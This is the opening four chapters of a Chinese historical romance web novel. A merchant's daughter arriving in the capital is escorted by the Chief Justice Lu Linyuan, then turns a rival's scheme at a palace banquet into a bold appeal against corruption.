《入京后,大理寺卿日日撩拨我》
1. 江边水
深秋季节,霜寒露重。
江面浓雾笼罩,一艘乌篷沙船低调地走在夜色里。
身着华服的少女蹙着眉,盘腿坐在狭小船舱中,涂着丹蔻的纤长玉指捏着锦帕,伸出一只雪凝似的腕子来,任由身旁的丫鬟按压。
晨间的江风分明是寒冷刺骨,晕船带来的不适却让额间染了薄汗。
“小姐,快到了,您再忍忍。”春桃将温热的糖水端上来。
阮绮华扫过一眼,让对方搁在矮几上。
她实在是没有胃口。
一天一夜了,这样狭小的船舱,她竟坐了一天一夜。
她忍不住叹息,想念过去种种,想念三层的龙首船,参天的龙骨,银掐丝珐琅、羊脂玉的茶盏,耀眼的火烛和永不停歇的歌舞。
堂堂江南首富阮氏独女,何时吃过这样的苦?
真是不知道阿爹到底是发了哪门子疯,年过半百了非得买个官当当,要是在宁州过过官瘾也便罢了,偏偏越当越大,这下好了呀,当官当到京城里去了。
京城盘根错节、派系复杂,用爹爹的话说,阮家初来乍到,又是商贾出身,家境富足,难免招人眼红,她事事都得低调。
宁州第一跋扈,如今坐个船得低调成这样。
仿佛是应景,江面上竟下起了濛濛细雨。小小乌篷船摇摇晃晃,细密的雨丝顺着窗户向内飘。
寒风起,雨雾飘。阮绮华心中郁结,接过春桃递来的狐皮裘,随意拢在身上,倚着船舱上向外望。
春桃没有哄她,她们离岸已经很近了。
被雨雾笼罩的岸边朦朦胧胧,阮绮华看不大清楚有没有人。
应当是没有的,阿爹阿娘今日面圣,先行进宫了,新官入京,阮家在京城无亲无故,哪有人会记得她呢?
她只是一位貌美又柔弱的有钱女子罢了。
刚准备命人将支着窗户的木棍放下,她隐隐约约见到岸上似乎有一点烛火。
吱呀——
船只靠岸,阮绮华起身掀开帘子,一柄油纸伞猝不及防地出现在她的头顶。
“霜寒露重,路途遥远”来人嗓音清淡,在她耳边响起:“阮姑娘辛苦。”
陡然出现在近边的男子让她一惊,阮绮华诧异地回望,“您是……”
男子顿了顿,似乎在懊恼忘了介绍自己的身份,略带些歉意地开口道:“不好意思,方才唐突了。”
“在下陆临渊,现任大理寺卿。奉圣上之命,来迎接阮氏绮华入宫参加今日的宫宴。”
男子边说着,边拿出了自己的官牌。原本阮绮华心中尚存疑惑,但听到名字,她顿时便放了心。
陆临渊三个字,饶是远在江南,都无人不知。
当朝最耀眼的权臣,出身簪缨世家,祖上不知出了多少位肱骨之臣,父辈的荣耀可支撑他成为最有资本的纨绔子弟。
然而陆临渊本人也是惊才绝艳,新帝年幼,他年方十四便出任摄政王,以铁血手腕镇压蠢蠢欲动的朝堂,庆历四年,下宣州治水,拯救上万百姓;朝堂平稳后,退任大理寺卿至今,守护朝堂稳定,诛杀贪官无数。
阮绮华对陆临渊的事迹颇有耳闻,但现今的情况,属实是有些难以将事迹同真人联系到一起。
谁能想到,这样显赫的权臣,会立在江边刺骨的寒风中,来接她这样一个新上任的官员之女?
也未曾想到,陆临渊生了一副这样的容貌。
如此的……温雅。是的,温雅。
猎猎江风吹动了他身上的暗红官袍,脊背挺直如同山间的松柏,腰间黑色的束带将腰身束成薄薄一片。
高挺的鼻梁本该是具有距离感的,可清淡的眉眼在寒风中吹得微微发红,平添了几分清冷。
阮绮华很难将他与赫赫有名的陆大人联系在一起,雨打湿了男人的发丝,贴着他的面颊。
她不合时宜地想到了江南的雨季,科巷巷口呜咽的小狗,饶是被雨打湿,眼睛却湿润地发亮。
“皇帝宽仁,姑娘可回府先稍作换洗。”男人示意身后的侍从递出皮匣。
阮绮华粗略瞥了一眼,让春桃接过,皮匣上花纹繁复,不似凡物。
天光大亮,江面的雾气也散了去。破晓的天光照亮了少女的侧脸。
发丝凌乱,却仍旧矜贵的少女扬起笑容,昂头看向陆大人:“多谢圣上关怀。那就烦请陆大人领路了!”
-
车轮缓缓前行,停在乌衣巷阮氏巡府府宅门口。
地方一到,等不及身后慢条斯理的陆大人,阮绮华几乎立刻掀开了帘子。
马车颠簸,车厢里却安静得近乎诡异。暖炉烧的过于热了些,热意在她脸上不断攀升。
身子早就累坏了。阮绮华苦苦硬撑了一路,才在陆大人的注视下,堪堪保持几分仪态。
帘子掀开,清新的冷空气袭来,脸上的热度才慢慢削减。
怀着真心诚意,她缓缓福身,向陆临渊行了一个标准的万福礼。“此番多谢陆大人护送。”
男人笑笑,仍是端坐在马车上,向她淡淡摆手,“不必多礼。”
七尺三寸的广梁大门,山墙墀头两侧做两块反八字影壁,端的是一派显赫大气。
门钉被擦得发亮,门环上的红绸子尚未来得及取下,地上还有些乔迁时的爆竹碎屑。
不知是何等贵人搬了进来,内务府竟派人连屋顶的每一片瓦都粉刷一新,每一条缝都细细探查了。
汉白玉的祥云门墩,朱红鲜艳的门柱,门上的重檐庑殿顶,檐下竖悬有一方华带牌式铜鎏金匾额,烫金的字体遒劲有力,华贵又不失风骨。
处处是阮父喜欢的风格。
十余年前,宁州城曾流行过以瘦为美的风气,街头巷尾的姑娘儿郎都将自己瘦得形销骨立。
正值阮绮华启蒙年岁,小孩儿有样学样,写出来的字瘦弱歪斜。把阮父气的胡子乱颤,大手一挥请了三个启蒙老师日夜盯着她。
只不过可能是补得过甚,她的笔风愈发豪放,待到阮父再次检查课业,阮绮华的笔力已压过了大多数男子。
阮父宽慰阮母许久,这事才作罢。每每思及,她还是忍不住莞尔。
初次北上,水路难行,先行的阮父阮母随侍的家仆并不多。
掌事总管荣伯是最重要的一个。此刻他交握双手,恭敬地在门口迎接。
阮绮华是他看着长大的,一直将荣伯视作长辈。方才一路的紧绷,在远远见到他的那一刻,已削减了七分。
但荣伯的视线却只短暂地停在她身上片刻,便盯向了跟在她身后的男人……身上的绯红官袍。
大雍的上朝时间本是分季节而异,以秋分为界,春夏季为寅时一刻,秋冬季天亮得晚,便是卯时三刻。
然而自庆历二年起,上早朝的时间统一更为寅时一刻。
民间有传闻,当朝天子那年
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不过十二岁,每日的课业都得由摄政王陆临渊亲自盯着,夏日还好,小景仁帝尚能坚持每日按时上朝;可寒冬腊月时,连上惯了早朝的各位大人们,都偶有迟到,陛下年纪尚小,更加难免惫懒。
闹出几次提着戒尺去寝宫抓人的事情后,摄政王终是忍无可忍。索性将冬日的早朝时间更为与春夏一致。
据说被陛下背地里怨恨了许久。
所以……陆大人到底是早朝过后没有归家换衣,还是压根就在本该早朝的时段,赶去等待阮绮华了?
荣伯心中百转千回,他早知陆临渊是住在相邻府邸的贵人,虽已经卸任摄政王,但在朝中的影响力依旧非常人所能比拟,连当朝天子都要敬他三分。
可是如此行径,他着实有些摸不准对方的想法。
他恭敬地看向陆临渊,“陆大人”。
男人朝他微微颌首,并未多言。
阮绮华沉浸在归家的喜悦中,听到身后隐忍的咳嗽声,这才发现陆临渊居然还没走。
方才在车上,她虽闭眼假寐,却因为好奇,也偷偷瞄过陆临渊的脸色。
鼻子耳尖都微微发红,呼吸也沉沉。
“路途遥远,行路时间不好把控,陆大人想必是吹了许久的冷风。如今我已安全抵达,陆大人也可归家歇下。”过两日,不,明日。她就去阿爹库房给陆大人把那支百年老姜找出来,亲自送他府上去。
似冻得不轻,陆大人握拳抬至唇边,声音沉闷,“我无事,只是下人刚刚来信,今夜宫宴的请柬尚未送至。若是姑娘不嫌弃……待姑娘休整好,晚些可随我一同入宫。”
阮绮华摆手表示不介意,语气轻快道“那便有劳陆大人了。”
-
青砖绿瓦的三进大宅院,格局地段样样出挑,饶是住惯了豪宅的阮氏千金,此时也挑不出错来。
也算是有几分慰藉。居住条件比她想象的好些。
听闻圣上赐下府宅时,特意叮嘱掌管礼部的官员,府中装潢样式,一切按照最高规格,务必让宅子焕然一新,直教人看不出先主人的居住痕迹。
阮父,也就是江南巡抚阮富明,携夫人初到京城那日,不少达官贵人都派人抬了礼来,库房门口,三尺长的礼单足足写了十二页。
足以看出圣上对阮家的重视。
荣伯一面接过阮绮华的包袱,一面絮絮叨叨。嘴中反复叮嘱她:“京城不比宁州。小姐行事还请多加谨慎,切不可妄为。”
都是家里的老人了,阮绮华虽然疲惫,此时也只能乖乖听着。
不过一炷香的路程,荣伯已反复叮嘱她三次。她承认自己在待人接物上是懒散了些,但她难不成有这么不让人放心吗?
看着荣伯殷切的眼神,阮绮华扶额,只能一一应下。
好在已到了小院门口,她以急着洗漱,准备宫宴为借口,好容易将荣伯应付走,吩咐春桃备水。踏入院内。
海棠花开,摇曳生姿,树干下挂有秋千。
侧面有芍药,依附墙壁,攀援树木,匍匐偏坡。秋日的太阳不算热辣,温温地照在上面,色彩斑斓,很是特别。
江南气候温暖,阮绮华只在话本中见到过海棠。幼时不懂事,央著爹爹花重金从北地买了来,不到两月便萎靡了。
亭廊院落,无不合阮家心意。甚至各人的院落,都完美得过于巧合了些。
龙椅上那位圣上,真的如此重视阮家吗?
2. 入宫宴
沐浴熏香过后,坐在柔软的马车上,阮绮华再也装不下去了。
什么低调,什么礼仪,不重要,她一身骨头酥软了一样倚在软垫上,努力克制,才忍住不要让自己发出细小的满足的喟叹。
天知道她这一路受了多少颠簸,吃了多少冷风。
说好的只泡一刻钟,她撒泼打滚才换来多的一炷香时间。若不是方才春桃提醒,她在浴桶里便险些睡了过去。
阮绮华偷偷瞄了眼对面端坐的男人,他似乎很忙。
黄花梨的矮桌上除了茶具,便是堆积的卷宗。从上了马车开始,陆临渊手上的卷宗便没放下来过,同她打过招呼后,除了泡茶,眼皮子都未曾抬一下。
说到茶……阮绮华盯着桌上热气升腾的姜茶。有些无语凝噎。
她十四那年游船,不小心落水,她阿爹命人寻了百年老姜来,熬成水化成汤,一日三顿地给她喂。
百年老姜啊!苦苦熬制数个小时,辛辣呛人的滋味,数年过去,她仍然是忘不了。
自那以后,她对姜味的接受度便高了许多。普通的姜茶,她基本上无知觉。
可这个茶……她方才不以为然大口入喉,竟险些辣到泪水都溢出来。
辛辣的味道直直顶住她的天灵盖。
她不禁有些怀疑自己多年的医学功底和自家老爹的财力。
要么是她许久不配药,不知如今的老姜如此易寻;要么,就是老爹当年救女心切,被人拿十年老姜以次充好了。
有些嫌恶地推推茶盏,她身子一倚,伸手往嘴里捏了一块荷花酥压味道。
咦?
阮绮华双颊鼓鼓,眼睛一亮。有些惊喜道:“陆大人,这糕点味道甚是不错,有我宁州老家的风味呢!”
说罢,手上又捻起一枚糕团,递向对面的男人“您尝尝吗?”
比起阮绮华坐过的豪华马车,这一处小小的天地,算不得多贵气。
却处处精致。地毯用一整张羊皮制成,厚重柔软。壁上悬挂的丹青,落着朱红的印章,彰显它出自名家的身份。
矮桌上的雕花香炉轻烟袅袅,淡淡的檀香气息让人很是放松。
案几对面的男人手执书卷,神色淡淡,认真研读时,眉眼凛如雪松。
闻声抬首,眼中却瞬间含了笑意。
阮绮华清楚地看见,那对墨黑的眼瞳中倒映着自己的模样。
少女微微仰着脸,双颊鼓鼓,身子前倾,领口随动作微微张开,藕节般的小臂抬起,掌心中静静躺着一枚糕团。
她后知后觉地反应过来,自己此番行径有些孟浪了。
气氛突然沉默了起来。只听见二人的呼吸声。
掌心的糕团似有千斤重,涂着丹蔻的指尖禁不住微微颤抖。
男人轻轻扬了扬嘴角,含笑看着她的窘态。半晌,他垂眸,神色恢复如常。
也不接话,只卷了卷广袖,往她杯中续姜茶,温声叮嘱她姜茶有益,可多饮。然后吩咐驱车的侍从李一彦“时间尚早,行路可缓些。”
车厢外,李一彦麻利地应承道“是,大人”。
然后看了眼悠闲散步的枣红马追风,大眼瞪小眼。
烦恼之际,他的余光瞟见旁边拉着橙子的老人,拉着一车橙子,噔噔噔地路过。
……找谁说理去。
车厢内的阮绮华望着神色如常的陆大人,终于是缓了口气,讪讪地又往嘴里塞了一口莲子糕。
她本就是客套一下,倒没想着文雅的陆大人会喜爱这种小吃。
也还好陆如渊没有接话,避免了一场尴尬。
后半程的路途,阮绮华学乖了,默默下肚了几块糕点,再没提起过话题。目光也尽量避免与陆临渊交汇,偶然不小心瞟到,就连方才不愿喝的辛辣姜茶也默默饮了个干净。
也不知有几分心虚的成分。
-
阮绮华进宫的时候,宫宴正好开始。
她在大太监的例行宣告声中入场。
领着她入座的是位小公公,看起来年纪与她相近。
见到她时,小公公脸上划过惊异。边带路,嘴上还小声嘟囔着:“怎的是坐着陆大人的私家马车进来的。”
此话一出,周围有数道目光投了过来。阮绮华不明所以,秀美的眉毛微微拧起,“有何不妥吗?”
小公公欲言又止,朝她身后看了一眼,含含糊糊地回道,“小的当差不久,许是小的见得少。”
不知为何,阮绮华觉得这人怪怪的,但尚未等她问个清楚,便听见有人唤她,
“绮华,你来了。”
满目觥筹交错的官家中,一位头上缀满珍珠钗的美妇人端坐着向她招手,在她旁边坐着位靛蓝官服的富态男人。是她数日未见的父母。
“我儿一路辛苦了。”
“阿娘”她眼睛一亮,快速蹭到二人身边坐下,小声道,“阿娘今日怎的未曾佩戴孔雀翎?还是华儿送您的生辰礼呢。”
不等妇人回答,阮绮华又转向父亲,“阿爹今日倒真有几分京官的气质。”
宁州一别,虽不过数日,但父亲母亲,似乎都有了不小的变化,往日的随意与雍容都被庄重替代,就连阮绮华自己,都无奈换上了繁复的礼服,只得踩着小碎步挪动。
“没办法,阿娘也不想,”妇人不着痕迹地环顾四周,低声回道:“昨日面圣,后宫里的娘娘们都十分朴素,似乎只有宠妃才够格佩戴孔雀翎……还是低调点吧。”
不知想到什么,阮母正色起来,用目光上下扫视阮绮华今日的穿着。
秀丽的眉毛从皱起,到缓缓抚平,半响,阮母的脸上露出了满意的神色,“绮华长大了,今日的着装,倒是得体。”
“这是……”阮绮华想起春桃打开匣子时的惊讶,话到嘴边滚了又滚,还是咽了下去。
反复咀嚼领路太监心虚的模样,她心中莫名觉得,陆大人为她送来的礼服,也许不是出自皇上的好意。
但若是陆大人亲自准备的,那就不应以为外人道了。
不过这京城到底怎么回事,偌大一个后宫,竟只有宠妃才能佩戴孔雀翎?国库有空虚至此吗?
她梳妆匣
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里还有一大堆呢,都懒得带来。
阮绮华微微抿了唇,想到未来不知多长的时日,她都要在上京度过,不由得用长指轻抚额头。
朱钗不能戴,礼服不能过于张扬,一路的颠簸,原来还只是来上京吃苦的第一步。
……当的什么劳什子官。
大殿恢弘,中央有珠帘围成的私密空间。阮父初任巡府,又是首次入京,因此,职位虽是从三品,座位却足够靠近御前。
从阮绮华的角度看,隐约可以望见珠帘后方,大雍朝最为尊贵的男人的身影。
她心生疑惑,自入宫之后,陆临渊便同她分开来,按理说此时应该已经落座,可环顾众人,又并未看到他出现。
正当她思索着,大殿中响起一道娇俏的女声:“陛下!臣妾来迟了。”
顺着众人的目光看过去,一个身着鹅黄宫袍,梳着如云发髻,满头点翠的身影袅袅婷婷地走了进来。
美人径直掀开了珠帘,柔柔地倚在圣上身边,嘴上说着,“您不会责怪臣妾吧?”
珠帘掀开的一瞬,阮绮华看到了帘内丰神俊朗的男人侧脸。
刀劈斧凿般的轮廓,饱满光洁的额头,高挺的鼻梁,不显山不露水的神色,无不彰显着帝王的威压。
但是这张过分年轻的脸,似乎有几分熟悉感。
珠帘随手放下,成串的珍珠弹跳晃荡在一起,再次掩住了背后的人。
隐约见到帘后的美人,素手捻起一粒葡萄,喂到帝王嘴边,“陛下,这宴会也未免太不得趣。”
“哦?”
“臣妾听闻,户部尚书柳家二小姐琴技颇佳。不如今晚的宴会,就请柳家小姐展露一手?”
年轻的帝王似乎并不在意这场宴会,他的目光只短暂地停留在美人身上一瞬,之后便随意地摆摆手,任由他的爱妃高兴。“随爱妃心意便是。”
被点到名的柳家小姐同帘子后方的人对视一眼,然后落落大方地福身行礼。
碧青色的身影缓步而出。
阮绮华眉毛微挑,这场演奏,怎么看怎么像早有预备。这位柳家小姐上台时,可是一点意外的神色也没有。
不过倒也不打紧,不管演的哪一出,她如今只要老实坐着便好,在来的马车上,她还曾短暂地担心自己会在宫宴上失礼,现下看来,是她多虑了。
她不擅乐理,更不通舞曲,称不上名门小姐,也就无人会让她登台。
心下松快,阮绮华便更加安心地用起果盘来。方才只是垫垫,既然无人在意,她便大着胆子动手了!
嗯,弹得是不错。
台上柳家小姐含情脉脉,卖力演出,台下的她听一耳朵乐曲,吃块糕点,同父母再闲聊两句,甚至找回了些在宁州看画舫游船时的舒适感。
曲终,她也刚好拿起绣帕,细细抹掉嘴边的糕点残渣。突然感觉到一道凉凉的视线打在她的身上,顺着视线看过去——
对上了一双不怀好意的眼睛。“众人皆知宁州的评弹天下一绝,让人心驰神往,阮家妹妹,不知今日可否让圣上欣赏一下?”
3. 风波起
阮绮华不由自主地愣了一下,然后眉心轻轻皱起。
在宁州,评弹确实是一种古老又传统的演出技法。通常以说为主,说中夹唱。
夏日炎热,宁州气候潮湿。一切都显得黏稠。
她性子惫懒,兴致上来,央著爹爹给她招画舫游船。三层十二根龙骨的龙首船,阮父大手一挥便是数艘。
前三后三,只为保护阮氏千金一人。
湖上微风拂面,湖水碧青。戏台高高,背后是侍女摇扇,是时令瓜果不断投喂。
环肥燕瘦,十几个妙龄美人环绕演奏。
每每演出结束,只要是上了画舫的伶人,阮氏的主事甚至会给她们一人一袋子金瓜子。
出手之阔绰,让宁州的戏班子没有不知道她的。
不过,这都是往日了。
近两年,她多少也是听到一些捕风捉影。国库空虚,不少人盯上了权力式微,财力富足的阮氏。
因此,虽她被家中保护得很好,爹娘也只说近期家中生意有些许波动,但她多少有些预感。此番来京多少有些避险的意思。
……还以为天子脚下,安分些便可苟住家族的财富。
思绪收回。
阮绮华心中失笑,如今的形式,怕不是才出狼窝,又入虎窟。
她不动声色地瞥一眼柳家的席位。
在她的右前方。相对更加靠近中心位。
今夜的规格,以她父亲的职位,加上新入京受的青眼,都尚且只能坐在第三排。柳家小姐坐在她右前,又如何会是善茬。
饶是她对朝中官员不甚了解,也不难由当下的情形猜出柳家手握实权。
更何况……方才容妃同柳二的对视,不容忽略。
她多半是在不经意的时刻踩到了这两位的红线。
既然如此,眼下这般,便不单单是让她表演家乡技艺,为宴会添彩的无心之言了。
分明是……上台子唱戏,拿她当伶人。
阮绮华挑挑眉,向来只她听演奏,何时轮到旁人按着她上台。
上台,是掉价;不上,是当着圣上的面,殿前失仪。柳家小姐倒是打得一副好算盘。
再次对上那青衣女子的眼,那张精致的脸此时隐隐含着讥讽,仿佛对她的出丑势在必得。
心中百转千回,阮绮华面上却蓦地划过一丝笑意。
一朝春来,气氛如雪水融化。
方才好似停滞的宫廷乐坊终于传来了声音。
她侧眸,给了自家爹娘一个安抚的眼神。
首富之女,不是这样好当的。
呵。
再次抬眼时,她已然面色一转,脸上的血色消失殆尽,柔弱地抬眼盯住柳家小姐,“多谢姐姐挂念。”
今日的宫装是他人准备,同她平日的风格并不相符。方才穿上时,阮绮华尚且不满它颜色颇为寡淡,衬得她气色不够足。
现如今这月白的广袖,倒是成了掩护她的软甲。
病弱的美人用手帕极力掩住咳嗽,鸦羽般的长睫微微颤抖,还是免不得隐隐有一丝咳嗽声溢出。
起身时,柔弱蒲柳的身姿让四周盯着她的数双眼睛纷纷一颤。
一半是惊颤柔弱易碎的美丽,瓷白的小脸,无端让人联想到江南烟雨中,精致易碎的美丽瓷盏。
另一半则是因为,无人注意的地方,柳如霜分明看到,阮绮华向她送来似笑非笑的一眼。
她心中一跳。下意识地偏头,想找寻珠帘背后的视线。
江南阮氏,绸缎生意发家,阮绮华是唯一的掌上明珠。
柳如霜早就听说过她骄横无礼的性子,她满以为这娇小姐会蛮横拒绝。
可如今阮绮华并不躁动,甚至对她回以眼神。
难不成是早有准备?她摸不准不知这人葫芦里卖的什么药。
柳如霜确实不是傻子。
尚书府夫人,她的阿娘,同当今圣上的宠妃裴音荣是手帕交。柳式尚书辅佐两朝帝王,是当之无愧的高门大户。
尚书府嫡亲的二小姐,自然不仅仅是面容较好的花瓶。柳如霜十七岁便以一手曲水流觞名动京城。
去岁及笄,及笄宴上的儿郎使劲浑身解数,只想博美人一笑。如今尚且待字闺中的原因只有那众所周知的一个。
聪慧如柳如霜,只方才的一眼,便已经嗅到了危险的讯号。
“陛下。”
柔弱的美人捂住嘴,露出隐忍神色。“臣女有幸,为陛下与贵妃娘娘演奏家乡技艺。”“只是……”
阮绮华咬咬唇,蹙眉抬眼,一派为难模样,怯怯地望向珠帘后方的人。
场中已然安静许多。
乐坊的吹奏进入哀婉的后调。
“但是什么?”难辨喜怒的音色从中央传出。
“今日天明时,臣女将将赶赴京城,幸得陛下宽仁,派陆大人护送。只是水路湿寒,尚有不适”,阮绮华眼角微微红润,愈发露出乞求的神色,“评弹曲艺复杂,臣女如今的情况,恐是不能完好展现。”
大殿中的气氛凝滞。
坐得远些的众人也察觉到了一丝不对劲。方才窃窃私语的各家官家权贵齐齐望向那一抹月白。
她在拒绝陛下吗?
金碧辉煌的大殿好似空旷下来,只余下角落的山景摆件潺潺流水声。
阮绮华独独立在其中。
在场众人的表情各不相一。身前,是面带紧张的阮氏夫妇;右侧,柳尚书以及相熟的官员们,脸上是心照不宣的笑意。
景仁帝登基数年,早已不是当年因冬日早起上朝闹别扭的无知帝王。
有心人注意到,早年间皇帝身边跟随的老人。上至摄政王陆临渊,下至身边的宫女太监。似乎都从高位下了来,甚至是……不见踪影。
在场的各位官家都是人精。不论是谁,此刻心中只有一个想法:
当众驳了帝王的面子,不可谓小事。
沉默的片刻之间,场中已经有了或恐惧、或看戏的神色。
阮父阮母对视一眼,在彼此的眼中都透出隐隐担忧。
所谓官职,于阮家而言不过是个虚名。可江南的水已然混乱,阮家此举来京,不为了当什么京官、高官,更多是为了保全一家老小的安平。
今日此举,驳了柳家的面子事小,无非是日后在朝中受些挤兑,官场进步难些。
可君心难测,若是惹怒了天子……阮富明不安地看向珠帘后方。
年轻
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的帝王面色不变。喜怒不明。只低头把玩了手边的珠串。
殿中持续的沉默。
帝王身侧,娇媚的女人眼波流转。算准帝王不愿再出声。冷哼一声,向殿中人递了个眼神。
柳如霜会意,似乎终于得到了某种许可。当下冷哼一声,“阮妹妹这是在责怪陆大人护送不力,还是要扫陛下的兴?”
终究还是来了。
驳帝王面子,扫陛下兴头。好大的一顶锅。
气氛不出意料地剑拔弩张。
一身精致月白宫装的美人被惊了又惊,面上的委屈已经溢出言表,如山林慌乱的小兔,慌忙地摆手,泪水盈于长睫。
来不及细想,她只能声音颤抖地接着开口,“请陛下宽恕,臣女,臣女不才,为陛下准备了一番别的节目。不过,若要完整呈现……”
阮绮华咬唇,可怜兮兮地盯着景仁帝。
男人还是一幅不在意的模样。头也未抬。只摆摆手,示意身旁的容妃接管此事。
女子又是一声冷哼,涂着火红丹蔻的手指将发丝挽至耳后,“当是如何?”
“若要完整,还请陛下恩准,许柳二小姐协同臣女完成贺礼。”
一时间,场中又响起了细语的声音。
二人合力贺礼,如献曲,或吟诗作对,确实是是常见的贺礼形式。若互相之间默契十足,互相做衬又处处相合,让人耳目一新的同时又可留下深刻印象。便有可能被当场的儿郎看中,一朝登入心仪的贵人家。
早些年间,柳如霜的母亲赵氏同当时还只是小小教乐坊女官的容妃便是以这样的方式在宫宴中一鸣惊人的。
可方才,柳家小姐明显是想要给阮绮华下绊子,这阮氏小姐难不成如此好心?抑或者,是别有用心呢。
不等众人继续揣测,景仁帝的声音已经落下,“准了”。
阮绮华对着柳家小姐笑笑,“那么还请柳家姐姐,为臣女再奏一曲吧。”
-
众人的目光聚焦到了大殿中央,两位妙龄少女,一站一坐。
碧青色衣裙的少女端坐,水袖飞舞于琴弦,流畅的乐曲溢出指尖。乐曲激昂之处,引得众人频频侧目。
但更多的目光,还是被一席月白宫装的精致女子捕获。
上京从不缺美人。在座的各位世家贵女,个顶个都是按照宫娥的标准培养,举手投足,尽成画卷。
但若同大殿中央的女子相比,却又暗淡几分。
大殿正前,一桌,一案,一笔洗。
那女子亭亭立于桌前,鬓发如云,肤若凝脂,脸上尚且带有初登殿堂的娇羞,提笔挽袖,露出一截凝脂般的皓腕,落笔时,身上金丝绣出的花卉蝶纹活灵活现,似要翩然而飞。
扬起微笑示意众人时,竟昳丽近妖。
与盛放的容貌相得益彰,即便是被宽大的宫袍裹住,宫灯映照下,那盈盈一握的腰身与丰润饱满的身段,也无不彰显她的雍容。
腰下缀彩色飘带数条,加之流光锦缎制成的云肩[1],轻轻动作间,裙角翩跹。
仙乐空灵,入玉珠落盘,挥毫洒墨,女子一气呵成。
一曲终了,阮绮华的脸上勾起浅浅的笑容。
“陛下。”
4. 骤雨落
“陛下。”阮绮华将宣纸轻轻放置在托盘上。
一曲终了,大殿众人大多还沉浸在方才的二人配合中。
在一旁候着许久的司礼太监冯保接过托盘,低头快步送至陛下面前。
“哗啦——”
珠帘掀开一角。
景仁帝成年后,当年陪着辅佐幼帝的老人里,在位的已经不多。
冯保是例外之一。
宫墙深深,他从后宫最末等,人人轻贱的“小冯宝”,变成了拂尘伴身,朝中权贵都要尊敬三分的“冯公公”。
伴随这位少年君主已近十年。他见证了对方由藏不住心绪,到喜怒不形于色的沉稳帝王。
此刻,冯保看到平日里沉稳的天子眉头紧锁,右手的珠串被拉扯成线。
眸光沉沉,薄唇紧抿。他已经很久没有看见陛下这般神色了。
恍然想起当年冷宫初遇。
瘦小的孩童因为说出了对朝政的见解,被嫉妒他才华的其他皇子压制。
他太弱小了。
年长三岁,身强体壮,母妃强势的二皇子骑跨在瘦小的孩童身上,一下一下用紧握的拳头捶打。
毫无反抗之力的孩童深知嘴上反抗只会让打在身上的拳头更多。
彼时,只是低贱的,卑微的小冯公公只能躲在高大的柱子背后。
与孩童目光相对,那男孩的眼中写满了倔强。
那是他第一次看到独属于少年的倔强,为了大雍的发展,即使被针对,也死死坚持的倔强。
此刻,已然成年的景仁帝眼中跳动着火光。
“啪!”
托盘重重地被摔在地上。
“大胆阮氏!你可知,你在画什么?!”他声音沉沉,满载压抑的怒火。
天子一怒,伏尸千里。
如暴风雨前阴沉的压抑的气氛,让整个宫殿陷入死寂般的沉默。
众人神色均是凛然。
离景仁帝最近的容妃,笑容瞬间凝固在脸上。娇躯被震得一抖,手中捏着的茶盏磕碰到碟面,与碟子碰撞出清脆的一声响。
“嗒——”
滚烫的茶水溅到她的手上,将白皙的玉指烫得绯红一片,可气氛太过凝肃,她硬是咬住了痛呼。
陛下早年体弱。深秋的夜,用以祭祀和举报宫宴的寿喜宫分明已然点上了地龙。
可如今,整座宫殿如同坠入冰窖。
大殿沉默的好半晌,容妃竟不敢侧过脸看景仁帝的神色。
究竟,是何等画作,让帝王如此动怒?
冯保当即就是一跪,哆哆嗦嗦不敢抬头。
脑中努力回想方才匆匆瞥到的画作一角,他对画作的鉴赏力完全来源于陛下偶尔赏赐的墨宝。在他眼中,方才呈上似乎是一幅普通的水墨山河图。
可是如此一幅水墨山河图,又是贺礼,如何会触及天子的逆鳞呢?
万众的期待中,一道柔弱又不失坚定的声音响起。
“回禀陛下,这幅画,名为海晏河清图。”
“呵!海晏河清。怎么一个海晏河清法?你告诉朕,你阮氏出身商贾,是能如何给朕的大雍一个海晏河清?”
“大雍数百年的基业,官商勾结的事情,不尽其数。你可知你阮氏,作为江南巨富,是如何能够进京的?”
“海晏河清,天下无贪。你阮氏,当真担得起这句天下无贪吗?”帝王被阮绮华的话语激怒,而后怒极反笑。
手中的珠串“啪!”地断开,上好的菩提弹跳四散。
冯保已经不敢再抬头看景仁帝的神色,只敢连声喊道,“皇上息怒!皇上您息怒啊!”
帝王的反问,如石子坠地,句句掷地有声。响彻整个大殿。
有胆小的世家小姐已经禁不住以手帕覆面。更有甚者,身躯发抖,面色已然惨白。
一时间,竟只有阮绮华仍是倔强又坚定地挺立着。
情绪激动上来,咳嗽声止不住溢出。
可即便如此,她还是要说。“咳,咳咳。陛下。”
“陛下,我江南阮氏全族上下,感念您对阮氏的信任,让阮家从小小地方官员,提拔入京,成为朝中要员。”
“可如今有些话,臣女今日不得不斗胆向陛下言明。”
女子的声音逐渐激动起来,面色也从方才的柔弱苍白变得泛红。“陛下。宁州城小,位处临海。臣女自小在宁州长大,十数年间,已经见证了不下五次洪涝。”
“若只是洪涝也便罢,可江南本是富庶之地,当地百姓却仍然生活艰难。这之中,恐怕是不止有天灾,还有人祸作乱。”
“阮氏力量微小,却也想举全族之力,为陛下、为大雍尽渑池之功!”
“因此,臣女今日惟愿陛下,愿大雍,海晏河清,兴盛昌隆!”
区区商贾之女,今日的宣言,竟话里话外在质疑朝臣的清白。往大了说,质疑的是陛下的治国表现。
大殿众人神色各异。
京中茶馆常道:庆历四年,摄政王陆临渊退位担任大理寺卿。自此,景仁帝林庄清一肩挑起治国的担子。
景仁帝与摄政王这对昔日亦师徒亦父子的亲密朋友,开启一人治国,一人监国查案的新时期。
至今两年以来,大雍风平浪静,一派和谐。
可只有朝中老臣知晓,这一切都是表面。
景仁帝同陆临渊的关系,怕是早已不复当年亲密。有宫人亲眼见证庆历四年,摄政王治水归京,一人一马冲进皇宫,入宫的第一件事,便是同景仁帝在御书房爆发了激烈争执。
杯盏摔碎,书架倒塌。
那日归家后,摄政王告病半月有余。
再次上朝,已然变成了新任大理寺卿。
本该是一人治国一人监国的平衡局面,也因为帝王对陆临渊的猜疑,而被打破。
君臣不和,小人便会见缝插针。
是以风平浪静的表面下,贪腐的触角已然暗中滋生。如跗骨之蛆在阴暗处疯长。
殿外急急落起骤雨。
雨水打在宫殿的屋檐,噼啪作响。
拔起贪腐的手,诛杀乱臣贼子这话。
没有雷霆手腕,稳坐京中的景仁帝不敢直说;掌管大理寺,却曾因手握重权被帝王猜忌的大理寺卿不愿说。
却自一个小小商贾之女的口中说出。
“轰隆——”
一声惊雷,自平地炸起。
仿佛映衬方才的惊人发言。久久在大殿上空回荡。
空气中是淡淡的硝烟味道。
这剑拔弩张的时刻,有人抚掌而进。
正是一席绯红官袍,昂首阔步,姗姗来迟的大理寺卿,陆临渊。
